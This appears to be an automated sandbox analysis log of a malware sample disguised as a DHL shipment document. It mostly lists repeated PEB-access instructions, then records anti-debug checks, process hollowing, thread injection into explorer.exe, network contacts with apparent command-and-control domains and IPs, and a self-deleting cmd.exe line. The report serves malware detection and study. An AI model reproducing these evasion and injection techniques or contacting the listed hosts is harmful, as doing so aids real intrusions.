Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D846A7 mov eax, dword ptr fs:[00000030h]	11_2_04D846A7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D17E41 mov eax, dword ptr fs:[00000030h]	11_2_04D17E41
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D17E41 mov eax, dword ptr fs:[00000030h]	11_2_04D17E41
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D17E41 mov eax, dword ptr fs:[00000030h]	11_2_04D17E41
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D17E41 mov eax, dword ptr fs:[00000030h]	11_2_04D17E41
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D17E41 mov eax, dword ptr fs:[00000030h]	11_2_04D17E41
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D17E41 mov eax, dword ptr fs:[00000030h]	11_2_04D17E41
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCAE44 mov eax, dword ptr fs:[00000030h]	11_2_04DCAE44
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCAE44 mov eax, dword ptr fs:[00000030h]	11_2_04DCAE44
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2AE73 mov eax, dword ptr fs:[00000030h]	11_2_04D2AE73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2AE73 mov eax, dword ptr fs:[00000030h]	11_2_04D2AE73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2AE73 mov eax, dword ptr fs:[00000030h]	11_2_04D2AE73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2AE73 mov eax, dword ptr fs:[00000030h]	11_2_04D2AE73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2AE73 mov eax, dword ptr fs:[00000030h]	11_2_04D2AE73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1766D mov eax, dword ptr fs:[00000030h]	11_2_04D1766D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3A61C mov eax, dword ptr fs:[00000030h]	11_2_04D3A61C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3A61C mov eax, dword ptr fs:[00000030h]	11_2_04D3A61C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0C600 mov eax, dword ptr fs:[00000030h]	11_2_04D0C600
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0C600 mov eax, dword ptr fs:[00000030h]	11_2_04D0C600
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0C600 mov eax, dword ptr fs:[00000030h]	11_2_04D0C600
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D38E00 mov eax, dword ptr fs:[00000030h]	11_2_04D38E00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1608 mov eax, dword ptr fs:[00000030h]	11_2_04DC1608
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DBFE3F mov eax, dword ptr fs:[00000030h]	11_2_04DBFE3F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0E620 mov eax, dword ptr fs:[00000030h]	11_2_04D0E620
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D437F5 mov eax, dword ptr fs:[00000030h]	11_2_04D437F5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D18794 mov eax, dword ptr fs:[00000030h]	11_2_04D18794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D87794 mov eax, dword ptr fs:[00000030h]	11_2_04D87794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D87794 mov eax, dword ptr fs:[00000030h]	11_2_04D87794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D87794 mov eax, dword ptr fs:[00000030h]	11_2_04D87794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1EF40 mov eax, dword ptr fs:[00000030h]	11_2_04D1EF40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1FF60 mov eax, dword ptr fs:[00000030h]	11_2_04D1FF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD8F6A mov eax, dword ptr fs:[00000030h]	11_2_04DD8F6A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2F716 mov eax, dword ptr fs:[00000030h]	11_2_04D2F716
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9FF10 mov eax, dword ptr fs:[00000030h]	11_2_04D9FF10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9FF10 mov eax, dword ptr fs:[00000030h]	11_2_04D9FF10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD070D mov eax, dword ptr fs:[00000030h]	11_2_04DD070D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD070D mov eax, dword ptr fs:[00000030h]	11_2_04DD070D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3A70E mov eax, dword ptr fs:[00000030h]	11_2_04D3A70E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3A70E mov eax, dword ptr fs:[00000030h]	11_2_04D3A70E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3E730 mov eax, dword ptr fs:[00000030h]	11_2_04D3E730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D04F2E mov eax, dword ptr fs:[00000030h]	11_2_04D04F2E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D04F2E mov eax, dword ptr fs:[00000030h]	11_2_04D04F2E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9B8D0 mov eax, dword ptr fs:[00000030h]	11_2_04D9B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9B8D0 mov ecx, dword ptr fs:[00000030h]	11_2_04D9B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9B8D0 mov eax, dword ptr fs:[00000030h]	11_2_04D9B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9B8D0 mov eax, dword ptr fs:[00000030h]	11_2_04D9B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9B8D0 mov eax, dword ptr fs:[00000030h]	11_2_04D9B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9B8D0 mov eax, dword ptr fs:[00000030h]	11_2_04D9B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D058EC mov eax, dword ptr fs:[00000030h]	11_2_04D058EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09080 mov eax, dword ptr fs:[00000030h]	11_2_04D09080
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D83884 mov eax, dword ptr fs:[00000030h]	11_2_04D83884
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D83884 mov eax, dword ptr fs:[00000030h]	11_2_04D83884
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3F0BF mov ecx, dword ptr fs:[00000030h]	11_2_04D3F0BF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3F0BF mov eax, dword ptr fs:[00000030h]	11_2_04D3F0BF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3F0BF mov eax, dword ptr fs:[00000030h]	11_2_04D3F0BF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0 mov eax, dword ptr fs:[00000030h]	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0 mov eax, dword ptr fs:[00000030h]	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0 mov eax, dword ptr fs:[00000030h]	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0 mov eax, dword ptr fs:[00000030h]	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0 mov eax, dword ptr fs:[00000030h]	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0 mov eax, dword ptr fs:[00000030h]	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D490AF mov eax, dword ptr fs:[00000030h]	11_2_04D490AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D20050 mov eax, dword ptr fs:[00000030h]	11_2_04D20050
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D20050 mov eax, dword ptr fs:[00000030h]	11_2_04D20050
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD1074 mov eax, dword ptr fs:[00000030h]	11_2_04DD1074
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC2073 mov eax, dword ptr fs:[00000030h]	11_2_04DC2073
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD4015 mov eax, dword ptr fs:[00000030h]	11_2_04DD4015
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD4015 mov eax, dword ptr fs:[00000030h]	11_2_04DD4015
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D87016 mov eax, dword ptr fs:[00000030h]	11_2_04D87016
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D87016 mov eax, dword ptr fs:[00000030h]	11_2_04D87016
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D87016 mov eax, dword ptr fs:[00000030h]	11_2_04D87016
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1B02A mov eax, dword ptr fs:[00000030h]	11_2_04D1B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1B02A mov eax, dword ptr fs:[00000030h]	11_2_04D1B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1B02A mov eax, dword ptr fs:[00000030h]	11_2_04D1B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1B02A mov eax, dword ptr fs:[00000030h]	11_2_04D1B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3002D mov eax, dword ptr fs:[00000030h]	11_2_04D3002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3002D mov eax, dword ptr fs:[00000030h]	11_2_04D3002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3002D mov eax, dword ptr fs:[00000030h]	11_2_04D3002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3002D mov eax, dword ptr fs:[00000030h]	11_2_04D3002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3002D mov eax, dword ptr fs:[00000030h]	11_2_04D3002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D941E8 mov eax, dword ptr fs:[00000030h]	11_2_04D941E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0B1E1 mov eax, dword ptr fs:[00000030h]	11_2_04D0B1E1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0B1E1 mov eax, dword ptr fs:[00000030h]	11_2_04D0B1E1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0B1E1 mov eax, dword ptr fs:[00000030h]	11_2_04D0B1E1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32990 mov eax, dword ptr fs:[00000030h]	11_2_04D32990
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2C182 mov eax, dword ptr fs:[00000030h]	11_2_04D2C182
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3A185 mov eax, dword ptr fs:[00000030h]	11_2_04D3A185
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D851BE mov eax, dword ptr fs:[00000030h]	11_2_04D851BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D851BE mov eax, dword ptr fs:[00000030h]	11_2_04D851BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D851BE mov eax, dword ptr fs:[00000030h]	11_2_04D851BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D851BE mov eax, dword ptr fs:[00000030h]	11_2_04D851BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D361A0 mov eax, dword ptr fs:[00000030h]	11_2_04D361A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D361A0 mov eax, dword ptr fs:[00000030h]	11_2_04D361A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D869A6 mov eax, dword ptr fs:[00000030h]	11_2_04D869A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2B944 mov eax, dword ptr fs:[00000030h]	11_2_04D2B944
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2B944 mov eax, dword ptr fs:[00000030h]	11_2_04D2B944
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0B171 mov eax, dword ptr fs:[00000030h]	11_2_04D0B171
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0B171 mov eax, dword ptr fs:[00000030h]	11_2_04D0B171
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0C962 mov eax, dword ptr fs:[00000030h]	11_2_04D0C962
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09100 mov eax, dword ptr fs:[00000030h]	11_2_04D09100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09100 mov eax, dword ptr fs:[00000030h]	11_2_04D09100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09100 mov eax, dword ptr fs:[00000030h]	11_2_04D09100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3513A mov eax, dword ptr fs:[00000030h]	11_2_04D3513A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3513A mov eax, dword ptr fs:[00000030h]	11_2_04D3513A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D24120 mov eax, dword ptr fs:[00000030h]	11_2_04D24120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D24120 mov eax, dword ptr fs:[00000030h]	11_2_04D24120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D24120 mov eax, dword ptr fs:[00000030h]	11_2_04D24120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D24120 mov eax, dword ptr fs:[00000030h]	11_2_04D24120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D24120 mov ecx, dword ptr fs:[00000030h]	11_2_04D24120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32ACB mov eax, dword ptr fs:[00000030h]	11_2_04D32ACB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32AE4 mov eax, dword ptr fs:[00000030h]	11_2_04D32AE4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3D294 mov eax, dword ptr fs:[00000030h]	11_2_04D3D294
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3D294 mov eax, dword ptr fs:[00000030h]	11_2_04D3D294
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1AAB0 mov eax, dword ptr fs:[00000030h]	11_2_04D1AAB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1AAB0 mov eax, dword ptr fs:[00000030h]	11_2_04D1AAB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3FAB0 mov eax, dword ptr fs:[00000030h]	11_2_04D3FAB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D052A5 mov eax, dword ptr fs:[00000030h]	11_2_04D052A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D052A5 mov eax, dword ptr fs:[00000030h]	11_2_04D052A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D052A5 mov eax, dword ptr fs:[00000030h]	11_2_04D052A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D052A5 mov eax, dword ptr fs:[00000030h]	11_2_04D052A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D052A5 mov eax, dword ptr fs:[00000030h]	11_2_04D052A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCEA55 mov eax, dword ptr fs:[00000030h]	11_2_04DCEA55
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D94257 mov eax, dword ptr fs:[00000030h]	11_2_04D94257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09240 mov eax, dword ptr fs:[00000030h]	11_2_04D09240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09240 mov eax, dword ptr fs:[00000030h]	11_2_04D09240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09240 mov eax, dword ptr fs:[00000030h]	11_2_04D09240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D09240 mov eax, dword ptr fs:[00000030h]	11_2_04D09240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D4927A mov eax, dword ptr fs:[00000030h]	11_2_04D4927A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DBB260 mov eax, dword ptr fs:[00000030h]	11_2_04DBB260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DBB260 mov eax, dword ptr fs:[00000030h]	11_2_04DBB260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD8A62 mov eax, dword ptr fs:[00000030h]	11_2_04DD8A62
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D05210 mov eax, dword ptr fs:[00000030h]	11_2_04D05210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D05210 mov ecx, dword ptr fs:[00000030h]	11_2_04D05210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D05210 mov eax, dword ptr fs:[00000030h]	11_2_04D05210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D05210 mov eax, dword ptr fs:[00000030h]	11_2_04D05210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0AA16 mov eax, dword ptr fs:[00000030h]	11_2_04D0AA16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0AA16 mov eax, dword ptr fs:[00000030h]	11_2_04D0AA16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCAA16 mov eax, dword ptr fs:[00000030h]	11_2_04DCAA16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCAA16 mov eax, dword ptr fs:[00000030h]	11_2_04DCAA16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D23A1C mov eax, dword ptr fs:[00000030h]	11_2_04D23A1C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D18A0A mov eax, dword ptr fs:[00000030h]	11_2_04D18A0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D44A2C mov eax, dword ptr fs:[00000030h]	11_2_04D44A2C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D44A2C mov eax, dword ptr fs:[00000030h]	11_2_04D44A2C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D853CA mov eax, dword ptr fs:[00000030h]	11_2_04D853CA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D853CA mov eax, dword ptr fs:[00000030h]	11_2_04D853CA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D303E2 mov eax, dword ptr fs:[00000030h]	11_2_04D303E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D303E2 mov eax, dword ptr fs:[00000030h]	11_2_04D303E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D303E2 mov eax, dword ptr fs:[00000030h]	11_2_04D303E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D303E2 mov eax, dword ptr fs:[00000030h]	11_2_04D303E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D303E2 mov eax, dword ptr fs:[00000030h]	11_2_04D303E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D303E2 mov eax, dword ptr fs:[00000030h]	11_2_04D303E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2DBE9 mov eax, dword ptr fs:[00000030h]	11_2_04D2DBE9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3B390 mov eax, dword ptr fs:[00000030h]	11_2_04D3B390
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32397 mov eax, dword ptr fs:[00000030h]	11_2_04D32397
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC138A mov eax, dword ptr fs:[00000030h]	11_2_04DC138A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DBD380 mov ecx, dword ptr fs:[00000030h]	11_2_04DBD380
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D11B8F mov eax, dword ptr fs:[00000030h]	11_2_04D11B8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D11B8F mov eax, dword ptr fs:[00000030h]	11_2_04D11B8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD5BA5 mov eax, dword ptr fs:[00000030h]	11_2_04DD5BA5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D34BAD mov eax, dword ptr fs:[00000030h]	11_2_04D34BAD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D34BAD mov eax, dword ptr fs:[00000030h]	11_2_04D34BAD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D34BAD mov eax, dword ptr fs:[00000030h]	11_2_04D34BAD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD8B58 mov eax, dword ptr fs:[00000030h]	11_2_04DD8B58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0F358 mov eax, dword ptr fs:[00000030h]	11_2_04D0F358
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0DB40 mov eax, dword ptr fs:[00000030h]	11_2_04D0DB40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D33B7A mov eax, dword ptr fs:[00000030h]	11_2_04D33B7A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D33B7A mov eax, dword ptr fs:[00000030h]	11_2_04D33B7A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0DB60 mov ecx, dword ptr fs:[00000030h]	11_2_04D0DB60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC131B mov eax, dword ptr fs:[00000030h]	11_2_04DC131B

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Code function: 3_2_00409B50 LdrLoadDll,

3_2_00409B50

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Domain query: www.bbgm4egda.xyz
Source: C:\Windows\explorer.exe	Domain query: www.metronixmedical.com
Source: C:\Windows\explorer.exe	Domain query: www.auctions.email
Source: C:\Windows\explorer.exe	Domain query: www.klopert77.com
Source: C:\Windows\explorer.exe	Network Connect: 81.169.145.72 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 35.213.137.92 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 64.190.62.111 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.solatopotato.com

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Section unmapped: C:\Windows\SysWOW64\msiexec.exe base address: EC0000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: unknown target: unknown protection: read write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Thread register set: target process: 3424	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Thread register set: target process: 3424	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread register set: target process: 3424	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe C:\Users\user\Desktop\DHL Shipment doc.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe C:\Users\user\Desktop\DHL Shipment doc.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\DHL Shipment doc.exe"	Jump to behavior

Source: explorer.exe, 00000006.00000000.695852075.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.767118956.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.733166443.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.715605590.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000006.00000000.733753487.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.715899301.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.767387200.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.696692590.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.719824080.0000000005E50000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.733753487.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.715899301.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.767387200.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.696692590.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.733753487.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.715899301.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.767387200.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.696692590.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.733753487.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.715899301.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.767387200.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.696692590.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000006.00000000.746158285.000000000A716000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.724490160.000000000A716000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.708216741.000000000A716000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd5D

